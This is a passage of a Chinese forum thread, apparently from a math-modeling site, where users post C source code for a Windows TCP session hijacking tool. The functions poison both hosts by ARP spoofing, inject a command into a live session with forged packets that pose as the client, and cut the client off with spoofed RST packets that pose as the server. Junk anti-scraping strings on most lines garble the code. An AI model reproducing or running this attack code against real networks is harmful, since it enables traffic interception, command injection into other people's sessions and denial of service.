/ W" H* D8 U7 o: z// # E3 P+ N% Z' w* ~* A
//功能:操作记录所有连接信息的单向链表 ! k( Z) g2 B% J( g1 R+ \+ g8 P# ?$ m
// ( D* B' d+ }* V( i
DWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP,
7 Q6 o  Z3 M/ @8 S" P  h+ S            USHORT uClientPort, BOOL bDelete, BOOL bAddNew) , c& H3 a& W; A: J1 l! P
{
# E& b6 ^. q' `; Z6 |% }  PCONNINFO  pNew, pTmp; $ E7 i7 x9 g$ d/ ^0 u! ~; \
+ |: ?# L; n* K7 B
  pTmp = g_pConnHead; 9 _" a5 @4 R( A1 N& p
  while(pTmp) & M; c$ q+ q2 ~' Q
  { ; W( P. d( N8 m8 r4 z4 I
    if(pTmp-&gt;bActive) 4 h( _3 r# e% F
    {
- F" F4 _+ p3 f. I5 i& ^) w0 s      //found it * z1 s/ b' ^) C
      if( (pTmp-&gt;dwServerIP == dwServerIP) &amp;&amp;
2 \/ F' ~* w3 h+ Z; r        (pTmp-&gt;uServerPort == uServerPort) &amp;&amp;
; L- d/ z2 \6 x. \        (pTmp-&gt;dwClientIP == dwClientIP) &amp;&amp;
7 b$ ~) X. x6 G  U* R9 |        (pTmp-&gt;uClientPort == uClientPort) )
: r# s  `8 k3 U- F      { " o1 R. ~: M! H6 \. S
        if(bDelete)
) _: [6 t" \- }1 V5 K) w        { / R- A( W  T* ^. i" {3 B( J
          pTmp-&gt;bActive = FALSE;
- n1 w+ o( G0 {1 c1 w. W) c          return 0;
1 I$ p/ {2 d6 n, f, O! T0 U/ f        }
5 `3 K2 A# d  W1 r        else return pTmp-&gt;ident;
0 Q3 Y( r+ {) U5 g6 t1 {* z      }
9 e: b$ T4 [- ?7 e    } 2 u- x- S, t1 ]/ Z
    pTmp = pTmp-&gt;Next;
  A4 L" x( @6 {# N7 H  }
; f1 }+ d. Q" a& ^1 q, y/ R  //not found, create new node 6 g; r6 g4 d" q: x
  if( (!pTmp) &amp;&amp; (!bDelete) &amp;&amp; (bAddNew) ) # k% G4 B$ d9 Y
  {
* a  c& ?8 Q- _7 L% r9 r7 F    //search unactive note
8 m" p' K" c% t    pTmp = g_pConnHead; - c9 o5 I( i- j. Z) ?/ V- _3 Q
    while(pTmp) 1 C  a8 k0 B* z  w  c
    {
) k+ [. h  h$ w& @; \8 L/ [      if(!pTmp-&gt;bActive) break; , H8 y) r3 \) w9 D/ o" p. Z* ?# L
      pTmp = pTmp-&gt;Next;
$ `! `3 ^" J: A4 p2 a    } 7 `# Z& W" S+ A: _" A, C* c- ~
    //found a unactive node
5 p+ `$ f5 y* V* C    if(pTmp)
  O% \! @# ?3 l% Q3 L9 |7 }! o    { ' j( Q! w3 [9 j8 Y( Z8 P
      pTmp-&gt;dwServerIP = dwServerIP;
: [& o8 z+ E9 m- m$ U      pTmp-&gt;uServerPort = uServerPort; ! Z7 b  C; T1 \* a6 P" d3 _9 o
      pTmp-&gt;dwClientIP = dwClientIP;
( x4 \2 C+ t: T) q% _. s      pTmp-&gt;uClientPort = uClientPort;
# r) x* V% p; U9 ^3 x. V      pTmp-&gt;bActive = TRUE;
2 v1 b, a( ?1 k4 p! R6 L      return pTmp-&gt;ident;
, v6 W$ I7 d, C0 l    } * \* Q6 V5 p; S0 r' Q
    //not found,create new node " B1 X! T% }( Q& h
    pNew = (PCONNINFO)malloc(sizeof(CONNINFO));
: d. N# k  G8 `2 ^, M    if(!pNew) 5 T3 K+ P2 E% j9 e3 s$ g
    { / B. W4 m+ _. d
      printf("malloc for link node error:%d\n", GetLastError()); : C8 F4 B2 @  H% Z" s
      return 0;
$ G/ V  U9 B. o6 J1 P0 l# |' [    } . }# S! Z! G: T% A
    //fill the struct - Z! _9 N7 H0 I' @
    pNew-&gt;bActive = TRUE;
8 n- S" f! e' T7 Q/ a2 b% M    pNew-&gt;dwServerIP = dwServerIP; % T7 Z) J2 V- ]' P! v
    pNew-&gt;uServerPort = uServerPort;
1 @9 U+ m. w( q; i$ L    pNew-&gt;dwClientIP = dwClientIP; 8 _2 I' |; [) |: e2 _
    pNew-&gt;uClientPort = uClientPort;
' d% D1 }, ]6 b& p3 J    pNew-&gt;ident = ++g_ident; 4 W* H8 u) A; L+ j0 C! ^
    pNew-&gt;Next = NULL; 4 Z# O2 a0 W% H
    //add new node to link 5 d5 E; O0 M% _* ~9 [
    if(!g_pConnHead) # a7 ~; V- B8 H& r0 s
      g_pConnHead = g_pConnLast = pNew;
- C4 X5 k. ~  c    else
$ z- G* X2 u1 \    {
7 V1 w) e/ Q& M5 m+ E( V      g_pConnLast-&gt;Next = pNew; 1 v! {$ y/ ]5 a6 b5 |- Q3 n
      g_pConnLast = pNew; 5 @+ f" y0 G* v, s
    } . E9 W/ ]  _. }3 }! k: @: w
    return pNew-&gt;ident;
% }3 I1 [! y+ F% W/ o- i. L* A  }
2 K3 o0 N: u$ q* v) v  return 0;
# u* Z# t0 w# D}
# b& Q1 |' e3 m
% l7 A% q. @. }//
9 w+ i9 O" g3 f+ A//功能:判断一个数据包是不是只有ACK标志 & s" n4 T" s- E
//
) F4 z: K6 B" x! ^" k1 oBOOL IsACKPacket(unsigned char flag) $ f, [* \+ s/ S1 [" a* E, [
{ " Y' v" w& ]* r6 Z
  int  i, j=1; & j; S3 B8 O: g/ V/ H  |4 `$ b" \
  for(i=0 ; i&lt;4; i++) 2 Q) e1 L9 ]% ?2 ~" D+ J2 h
  {
! G" ]$ q0 y% C2 k% C) x    if(flag &amp; j) return FALSE;
5 m$ \, H  @$ F) [2 M6 t$ k    j &lt;&lt;= 1;
& z1 Y3 J- j8 f  H8 \! W" G  }
7 f' }$ ~7 C1 p1 w* c  if(!(flag &amp; 0x10)) return FALSE;//is ack?
; n* N, |) F7 o" Q- B- N  if(flag &amp; 0x20) return FALSE; . l3 V6 e( Q3 \' r2 l
  return TRUE; " A/ r! z- M/ A+ E3 Y- z
} ' y- C: }4 Y9 T$ j
5 T1 N+ f# F5 G8 n5 A8 `8 J$ F
// , J! W/ r- n" a# |! M
//功能:伪装成Client给Server发送数据包 $ t. ?: H$ V" f, j$ u
//
. i5 P% g) W) }6 [BOOL SendHiJackPacket(PTCPPACKET pTempletPacket)
8 ^4 F# H+ ~, A! Z- d{ 0 P: D* V0 x; C* i. o( q
7 T& Y9 D3 Q9 ~! e' c2 u
  char    szBuff[1520]; ) H  a) C" C5 w+ o8 q
  PSDHDR    psdhdr; 6 R3 P  N& Y4 U  B% ]$ e) v2 }
  PTCPPACKET  pHiJackPacket = NULL; 6 s! \- u2 W1 N4 _( ]. w
  BOOL    bRet = FALSE;
! f. Q- c' B7 J! o8 w
! [8 E) L% \+ H) q! c2 a  __try 1 e7 X( y- o; B4 K
  { - e7 Y. U+ c; D0 |! a$ [% B3 y4 ~
    // . S3 a% K  K$ J  X  l) l5 n, ], {
    if(!g_pCurrCtrlConn) __leave;
& s" `' ]- |( S+ b$ p$ S' T& [    //allocate memory for hijack packet
% k4 q- A7 J* W; S6 p    pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
% Q: U4 M. L5 R- K( a8 W$ o  B    if(!pHiJackPacket)
$ q3 B; J' I5 K    {
; m8 ?  N8 _3 S      printf("malloc error:%d\n", GetLastError()); 6 z8 m* }6 s0 F! a
      __leave; # G+ W4 V$ P1 R6 ]
    }   x/ S: ^) q! s& r% d9 ?) V1 V
    memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET));
1 n4 f4 M9 f4 L    //-------------- modify the packet ---------------// ) k" n( O  ^; d4 @, @7 x
    //modify ethernet head 2 @, ~2 a4 F8 q( k' ]" B5 N9 H" s
    memcpy(pHiJackPacket-&gt;ehhdr.DestMAC, g_szServerSideMAC, 6);
4 z' t* |) Q0 ^    memcpy(pHiJackPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6);
( H7 Y6 t  q6 q( Q, ?    //modify ip head " x/ X5 _7 ~. U0 x9 G% O) j
    pHiJackPacket-&gt;iphdr.h_verlen = (4&lt;&lt;4 | sizeof(IPHDR)/sizeof(unsigned long)); 5 Z) G" w6 M, r9 M3 t7 `
    pHiJackPacket-&gt;iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand));
9 ~' `: s# }6 V" A: r5 {1 U    pHiJackPacket-&gt;iphdr.ident += 1;//标识加1
) A4 u! q" V1 |+ Q+ l    pHiJackPacket-&gt;iphdr.checksum = 0;
$ C  C2 o% ?1 p6 n5 W" D4 f) A    pHiJackPacket-&gt;iphdr.sourceIP = g_pCurrCtrlConn-&gt;dwClientIP;//源IP地址,伪装成client # N7 C& }, x" P' b* r7 |% T
    pHiJackPacket-&gt;iphdr.destIP = g_pCurrCtrlConn-&gt;dwServerIP;//目的IP地址,接收hijack包的地址
  O4 ]6 K* X9 I2 X    //modify tcp head
% \5 k1 n( _! t, L, ]! h" d% g    pHiJackPacket-&gt;tcphdr.th_sport = g_pCurrCtrlConn-&gt;uClientPort;//client's port
* z* z3 z" e9 u$ i# ^; \4 Q3 F    pHiJackPacket-&gt;tcphdr.th_dport = g_pCurrCtrlConn-&gt;uServerPort;//server's port - ]5 h5 M7 l- I4 N$ ?5 d
    pHiJackPacket-&gt;tcphdr.th_lenres = (sizeof(TCPHDR)/4 &lt;&lt; 4 | 0); 9 p6 H+ z4 u; h( Z+ A  W
    pHiJackPacket-&gt;tcphdr.th_flag = 0x18;// PA ; ], E" }% S! i6 V. R
    pHiJackPacket-&gt;tcphdr.th_sum = 0; 8 _0 P! a7 }- M- y
    pHiJackPacket-&gt;tcphdr.th_win = 0x3F44;
, ^' L$ @( g+ a7 J) T1 P    //fill tcp psd head
# ^& @2 r* C4 P* \    psdhdr.saddr = pHiJackPacket-&gt;iphdr.sourceIP;           " g' ~% Q, J6 x; B; i
    psdhdr.daddr = pHiJackPacket-&gt;iphdr.destIP;           
: p! P  \6 m  i: s. v( b4 \    psdhdr.mbz = 0;
" ^6 v# N, L$ S2 ^    psdhdr.ptcl = IPPROTO_TCP;
# N9 ~: e. A2 @1 ~3 J/ S' W8 l    psdhdr.tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len + V) h5 e7 g' m' l! T
    //calculate tcp checksum     
1 @1 F, l. x. l7 t/ O1 }% S, K5 y* K    memcpy(szBuff, &amp;psdhdr, sizeof(PSDHDR));   
3 J( a- K) Q) |3 \8 R/ R    memcpy(szBuff + sizeof(PSDHDR), &amp;pHiJackPacket-&gt;tcphdr, sizeof(TCPHDR));
( t* _# [, e  a. W6 C2 y    memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand));
0 \+ Y. b+ ~" }; i. f9 l    pHiJackPacket-&gt;tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand));
. q- X+ Z( y2 m+ K" C3 D; y+ G    //calculate IP checksum
$ F! q5 R/ |2 H$ l* k9 L: i, |& t0 y    pHiJackPacket-&gt;iphdr.checksum = checksum((USHORT *)&amp;pHiJackPacket-&gt;iphdr, sizeof(IPHDR));
1 {* p1 d; v9 B. \# V, H    //fill send buffer           
( C& ?1 {; p) O# s& C9 t; x7 @1 ^0 ^    memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET)); 4 k* x( z  q# j1 i  H
    memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand));
7 c4 F3 P' K5 V4 r7 g" U& R    memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4);
4 H$ Y& U) a& C. ?1 X1 s    memset(g_lpSendPacket-&gt;Buffer, 0, 1514);
+ G) ]# E/ I' ~+ N; p9 O8 |    memcpy(g_lpSendPacket-&gt;Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand)); $ \2 V8 k) A' }3 @+ g8 W3 I
    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE) # ]4 K3 n5 W$ x
    {
+ n  f" B0 G- D7 |      printf("Error sending the hijack packets!\n");
7 w+ ^# |: I, g0 \      __leave; 0 \' Q: Q6 u, D' y6 @
    }
) f  B+ p( v% V( P6 K    else printf("Send hijack packet ok!\n");
' T: g6 {& Y! c9 T6 V1 N; A    bRet = TRUE; 4 N5 v; u& {* ~* l- W  n, e: D& Z
  }
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

__finally
6 `3 F! E6 c* s  {
2 a$ p8 \" A( N9 \- o; U0 O/ o- d    if(pHiJackPacket) free(pHiJackPacket);
  S" x7 l* L8 [" |  L  }
  i3 `" s. R* ~( t7 \- ~  return bRet;
% \- T0 I: O* ?} . f  h1 K# l" K0 `5 q4 f0 U+ h

6 ^2 X% T8 h0 W" A: D8 U( |
) J6 |& M2 z& a- C& C' L# C//
8 a/ f$ u) t2 S( Y7 j, h8 i//功能:伪装成Server给Client发送rst包 5 E# y8 J/ J- D: ]- C* L) z
// % M; \4 l) Q! P9 ~4 J0 d
BOOL SendRstPacket(unsigned int seq, unsigned int ack) % Z$ `8 |3 c; V2 R* B; B. Z
{ ) B) O3 |3 G7 U4 A
  char    szBuff[60];
7 ~# X+ J* |  A# n# f8 }  @* x3 w  PSDHDR    psdhdr;
9 @; j- _* h) [8 a5 m+ b/ y  PTCPPACKET  pTcpPacket = NULL; ( X& h4 H% R8 E1 s( p! R
  BOOL    bRet = FALSE; 0 u/ t1 U0 q% c- A: r+ j# ?/ Q1 H9 q
1 Z- G, F( j% H7 o# R* G1 U- x
  __try ' }8 W$ y! e; Q
  {
" ~1 }4 c$ ^0 J) r3 i# \7 b    //检查当前指向想控制的连接的信息的指针是否为空 " }3 i9 I* B3 ~  d9 n/ Y
    if(!g_pCurrCtrlConn) __leave; ( {7 V7 c2 c. |
    //allocate memory for rst packet % H0 l" W! o2 `% P
    pTcpPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
* T' C& f7 a- B  ]$ _3 x- ]    if(!pTcpPacket)
% |8 R! L3 |; _# u' e# u" a4 |; a  A    {
6 }/ [: c! C1 g0 h      printf("malloc error:%d\n", GetLastError()); ) N' V" ^8 i$ r9 v% E8 W
      __leave;
) ^) H7 M5 u4 Q: H    }
: s! O# v' F( S1 a! u    //fill ethernet head
+ x/ ^/ u7 ~6 y+ F2 P2 o    memcpy(pTcpPacket-&gt;ehhdr.DestMAC, g_szClientSideMAC, 6);
  T7 W) h# M0 R8 x2 A) `: k4 i    memcpy(pTcpPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6); % m) u) P2 X$ M) V' }! h
    pTcpPacket-&gt;ehhdr.EthernetType = htons(EPT_IP); # g8 h1 A, l6 g' ~
    //fil ip head 0 f. ^4 B. O, H9 W
    pTcpPacket-&gt;iphdr.h_verlen = (4&lt;&lt;4 | sizeof(IPHDR)/sizeof(unsigned long)); 5 j: m% E, K' |
    pTcpPacket-&gt;iphdr.tos = 0;
4 p' w- \" L  d) Q& H$ s    pTcpPacket-&gt;iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)); : L+ v/ ?# a. f, }0 W1 c
    pTcpPacket-&gt;iphdr.ident = 1;
8 b# O& g9 @. k9 M) J$ P9 R( _    pTcpPacket-&gt;iphdr.frag_and_flags = 0; 1 l9 W1 d" c+ V! J
    pTcpPacket-&gt;iphdr.ttl = 128; # w0 g2 O3 y8 v- M! F6 v+ y" p
    pTcpPacket-&gt;iphdr.proto = IPPROTO_TCP;
* D) B# a& P% B5 X    pTcpPacket-&gt;iphdr.checksum = 0;
& h% ^0 Z# |9 M3 L    pTcpPacket-&gt;iphdr.sourceIP = g_pCurrCtrlConn-&gt;dwServerIP;//源IP地址,伪装成服务器的 2 u7 q/ S- M# i2 d5 N  k
    pTcpPacket-&gt;iphdr.destIP = g_pCurrCtrlConn-&gt;dwClientIP;//接收此rst包的ip地址
' B* w& z" Q- i: g. s0 F9 F' U; W    //fill tcp head
$ _4 {. C1 ~6 z    pTcpPacket-&gt;tcphdr.th_sport = g_pCurrCtrlConn-&gt;uServerPort;//源端口号,伪装成服务器的端口 8 N6 a/ x& U9 x" a! w" S
    pTcpPacket-&gt;tcphdr.th_dport = g_pCurrCtrlConn-&gt;uClientPort;//接收此rst包的端口 * j+ Y! Y. }( @7 m8 ]
    pTcpPacket-&gt;tcphdr.th_seq = seq;//SYN
+ d* V7 m3 P) E0 v% A    pTcpPacket-&gt;tcphdr.th_ack = ack;//ACK - P6 R- e1 z8 X- s) Z$ t% ^. \# m
    pTcpPacket-&gt;tcphdr.th_lenres = (sizeof(TCPHDR)/4&lt;&lt;4|0); ! S" }8 y3 ?- {  q  \) h& X
    pTcpPacket-&gt;tcphdr.th_flag = 4;//RST flag 4 ?( [& R# W. x' l, M  T5 O! ]
    pTcpPacket-&gt;tcphdr.th_win = 0;
: c; k: |* |# O7 x$ T7 C4 j" [) h6 M    pTcpPacket-&gt;tcphdr.th_urp = 0;
2 A9 [" A& b' |1 j    pTcpPacket-&gt;tcphdr.th_sum = 0;
% o+ n7 L: N7 G# v/ J" X$ T    //fill tcp psd head
$ o; _+ w) |! t    psdhdr.saddr = pTcpPacket-&gt;iphdr.sourceIP;           ( z* N) l3 ~2 d7 @1 \3 e
    psdhdr.daddr = pTcpPacket-&gt;iphdr.destIP;           1 d3 t7 ^0 t% ?2 j# e8 r+ k# s0 V, b* ^
    psdhdr.mbz = 0;
1 B; X$ p  m6 c; K( j    psdhdr.ptcl = IPPROTO_TCP; 8 C) ~# v6 ?3 `
    psdhdr.tcpl = htons(sizeof(TCPHDR));
1 b- r$ z8 ^, ?  {% m$ f    //calculate tcp checksum     
0 ?9 s* Z  A! t! T8 v6 V0 b    memcpy(szBuff, &amp;psdhdr, sizeof(PSDHDR));   
7 ~- o& a+ D& [! s+ n) b3 l    memcpy(szBuff + sizeof(PSDHDR), &amp;pTcpPacket-&gt;tcphdr, sizeof(TCPHDR));
( N& K4 t) r* j0 J" Q( S+ H1 Q( C    pTcpPacket-&gt;tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR));
4 E+ W% {% W) g5 r0 a$ V' I    //calculate IP checksum " h' e/ W# u* B4 Y
    pTcpPacket-&gt;iphdr.checksum = checksum((USHORT *)&amp;pTcpPacket-&gt;iphdr, sizeof(IPHDR)); 2 M7 }4 N' H" V1 e; o1 A6 A
    //fill send buffer % V, h/ o1 @# I. t: T& F" q; M1 S9 M
    memset(g_lpSendPacket-&gt;Buffer, 0, 1514);
5 r# P7 C7 S+ j# m+ Y& ?; A    memcpy(g_lpSendPacket-&gt;Buffer, (char *)pTcpPacket, sizeof(TCPPACKET)); 0 b! }! _3 D1 Z8 S% f; F! f
    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE) 5 a( M% v4 u$ d, e6 J* O$ Q
    { ' k2 V. Q; o) `
      printf("Error sending the rst packets!\n");
  ^- y2 a7 e/ z) D      __leave;
0 n* [/ Q6 m  f6 D# R+ ]& Z2 e, h- f    }
0 ~* d1 ~7 F  E- H% C  |    else printf("Send RST packet ok!\n"); 2 _# A9 l' t7 r9 D8 T6 l/ B
    bRet = TRUE;
$ i% B4 u- W' _0 p- G- g  }
, A7 ~4 W- o8 D% K+ g& }2 |9 _  __finally
9 h, g: G0 b. @3 [0 I  { , d; b  R% X( m* C. J. r
    if(pTcpPacket) free(pTcpPacket);
4 K8 v3 ^( z  T) J+ V8 q& T. w3 }  } 8 T/ {) F; f$ _
  return bRet; 8 ?; N, `  p7 ~# M% `' w6 `# {
}
+ {9 f: A2 K6 a% N1 }# ?6 ?" Z% z+ C( z
//
6 E3 Y+ {0 c! n//功能:计算校验和 2 e  z. Y  k. P! D6 v
// 7 A1 @+ }3 \, y
USHORT checksum(USHORT *buffer, int size)
3 D: M9 \+ S3 ~& D( X& v{
' @+ X; ], \) i" M+ R! ~2 v9 \ unsigned long cksum=0;
  J5 ^/ ?4 C7 t while(size &gt;1) {
5 t! W4 c; ~' w  cksum+=*buffer++; & @8 f- m3 a; d) M
  size -=sizeof(USHORT); " w3 A; H! V3 y, E
} + I8 }* H5 D0 ^. m9 v% L- s# @- b: [
if(size ) {
) ?6 v. u9 z, b% g, q# b( p  cksum += *(UCHAR*)buffer; 1 E% m  d* K9 p
}
' \* j$ p) S# w$ n- G& |7 r cksum = (cksum &gt;&gt; 16) + (cksum &amp; 0xffff);
# t6 `, p5 x4 ~' C: j cksum += (cksum &gt;&gt;16);
/ M( O( m* ?1 k return (USHORT)(~cksum);
6 ^3 f% h4 `: |}
9 Q( Y0 [; ]5 d# A2 L" j5 h0 `, W- s" T  W) G
//
0 a) ?2 z/ u& P7 Q  P//功能:实施ARP欺骗
0 Q4 N) N( z. x0 a1 _5 H//1 告诉ServerSide,ClientSide的mac是ownmac & J  x# S. \# q( M
//2 告诉ClientSide,ServerSide的mac是ownmac ) r0 M: T5 N, l9 G( x9 |; ]/ V3 R
//
; U# i, J. g7 ]DWORD WINAPI ArpSpoofThread(LPVOID lpType) 5 @8 w, N0 ]8 R. j
{ ( m; {; r6 B! r( g+ W7 \5 f8 X( i
  int  iType = *(int *)lpType; 8 {5 O; {  L  k+ S/ [- f
  ARPPACKET  ArpPacket;
- s9 ^9 F- \3 |2 R  LPPACKET  lpArpPacket;
1 X" C4 o6 i6 V  char    szArpBuff[60];
* h; x2 z% U$ b, \
$ z3 v1 \. r3 Y& a7 G; G  switch(iType) ( Z9 Z1 x  ]2 \+ F; q, b5 y" t. U
  { 3 |  q7 n- a( X0 S, i
    case 1: - H6 b# f& k3 W
      memcpy(ArpPacket.ehhdr.DestMAC, g_szServerSideMAC, 6); # k* t' D. g, f3 N) G
      ArpPacket.arphdr.DestIP = g_ServerSideIP; 0 a/ p9 K1 T* Q6 C% y% i9 K
      ArpPacket.arphdr.SourceIP = g_ClientSideIP;
2 `: ~, n1 X! I  m' M      break;
; t8 @! e" N9 Q    case 2: & y9 e  M6 t) F; I
      memcpy(ArpPacket.ehhdr.DestMAC, g_szClientSideMAC, 6); - L+ a8 p! |4 U8 X4 p% j: Y
      ArpPacket.arphdr.DestIP = g_ClientSideIP; # D) _$ m9 z/ Q4 \9 X( r- ?
      ArpPacket.arphdr.SourceIP = g_ServerSideIP;
$ P8 E: s9 d7 }6 z* H      break;
! T5 u6 x" w7 Y, i3 T* X0 \1 B    default: 5 [1 h. T$ u8 z0 c9 K- Z7 O! w
      return 0;
& w. Y0 M$ h( o8 Y0 Z/ p  ], i  }
$ C* Z% v; \6 x. P! D  //ethernet head
! _+ Z. E' l0 O9 j  memcpy(ArpPacket.ehhdr.SourceMAC, g_szOwnMAC, 6); 8 U4 n& O* ^* G" T0 R3 S" E
  ArpPacket.ehhdr.EthernetType = htons(EPT_ARP);//ethernet type
" u* Q3 K/ p; f  L7 m  //arp head
' p8 f$ _4 F% u( f  memcpy(ArpPacket.arphdr.DestMAC, ArpPacket.ehhdr.DestMAC, 6);//dest's mac
. f* J* j% G. m4 }% Z  memcpy(ArpPacket.arphdr.SourceMAC, g_szOwnMAC, 6);//sender's mac
4 W+ b5 I, ^; N, P# {( f" i5 a  ArpPacket.arphdr.HrdAddrlen = 6;
. E5 ?1 Y3 A; M. i* T  ArpPacket.arphdr.ProAddrLen = 4;
( h7 {) C* l! t0 h$ d, R! T$ @  ArpPacket.arphdr.HrdType = htons(ARP_HARDWARE); # }3 K, _0 M: I/ q/ f
  ArpPacket.arphdr.ProType = htons(EPT_IP);
1 B7 O+ [( u" T& P+ Z- L  ArpPacket.arphdr.op = htons(2);//arp reply - }9 }4 O6 a0 n+ i' m. R

0 j. e' @9 z1 M# [- s  lpArpPacket = PacketAllocatePacket(); % G# P  d5 C! [& }$ M. n+ A7 b
  if(lpArpPacket == NULL)
) ~* P6 v" z( T6 s3 M; d  { % p' `# k3 X) F) H4 e* B" ?: |+ A
    printf("Error:failed to allocate the LPPACKET structure for Arp spoof.\n");
4 q; ]$ H  v7 I8 j* c    return 0; % X$ G( h& a/ c' l$ x* u! v
  }
1 v; n3 f8 D+ Z0 Y  J  memset(szArpBuff, 0, sizeof(szArpBuff));
0 z1 }8 Q3 x5 x% Y  l/ C4 U& X  memcpy(szArpBuff, (char *)&amp;ArpPacket, sizeof(ARPPACKET)); + U! u0 h# F! t; z
  PacketInitPacket(lpArpPacket, szArpBuff, 60); - @; ~: l" f3 k2 Y6 d: W
  //send arp packet
" d" I( F- Y* I6 I. R/ M2 _  while(1)
8 {7 ^/ v, ^  [6 P  { + D0 h5 [( w9 k- i
    if(PacketSendPacket(g_lpAdapter, lpArpPacket, TRUE) == FALSE) + u. w1 @! H  ^
    {
% V+ u( C: D- U& j1 T1 O9 C      printf("Error sending the arp spoof packets!\n"); : l2 R1 ?" ]* \) }% b
      return 0; ! X* H& q4 n  R& Z& y) u
    } 4 J. o8 o9 O3 J
    Sleep(1000);
( i/ f$ ~/ C# k5 y' _) K! ^7 u  }
: F2 S3 D* K3 r1 D  return 0;
0 d* E+ B; E# U( s}
2 V4 n! E& A( s/ Q
% c: ?; ?- i! l* a+ u9 r0 \3 v// 7 A/ `$ ^" W8 V1 k. L  N9 O' J6 {% j% e
//功能:输入IP取得对应的MAC地址
2 C- f0 Q+ ?  ^+ j% l( O6 A- M// 6 v- l( k+ w6 M' c  M# R
BOOL GetMACAddr(DWORD DestIP, char *pMAC)
2 n# A4 Z: S8 s9 @{ 2 I. o" a  [# c0 S0 N8 a$ f( l; e; |
  DWORD  dwRet; 3 K/ y& ?. n, S
  ULONG  ulLen = 6, pulMac[2]; # Y8 n: ^. i; V- T1 K. N9 Y) w/ Z
  dwRet = SendARP(DestIP, 0, pulMac, &amp;ulLen); 0 l6 h. D5 m9 k+ c; C0 H
  if(dwRet == NO_ERROR)   y6 e' C4 \# b
  { 0 z1 D: L+ i0 M$ t$ b8 t
    memcpy(pMAC, pulMac, 6); 9 S8 {6 f6 K# o8 Z7 N) w# E4 p
    return TRUE;
0 o4 H8 |2 O" f( {2 u4 _  } 5 |) O3 C* C1 T  p+ U' }/ J
  else return FALSE; . j9 Q9 ]$ @3 e7 p5 i/ y5 f
}
回复

使用道具 举报

2

主题

15

听众

759

积分

升级  39.75%

  • TA的每日心情
    开心
    2015-8-26 15:55
  • 签到天数: 39 天

    [LV.5]常住居民I

    群组学术交流B

    群组2014数学建模国赛备战

    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册地址

    qq
    收缩
    • 电话咨询

    • 04714969085
    fastpost

    关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

    手机版|Archiver| |繁體中文 手机客户端  

    蒙公网安备 15010502000194号

    Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

    GMT+8, 2026-4-17 23:08 , Processed in 4.268543 second(s), 91 queries .

    回顶部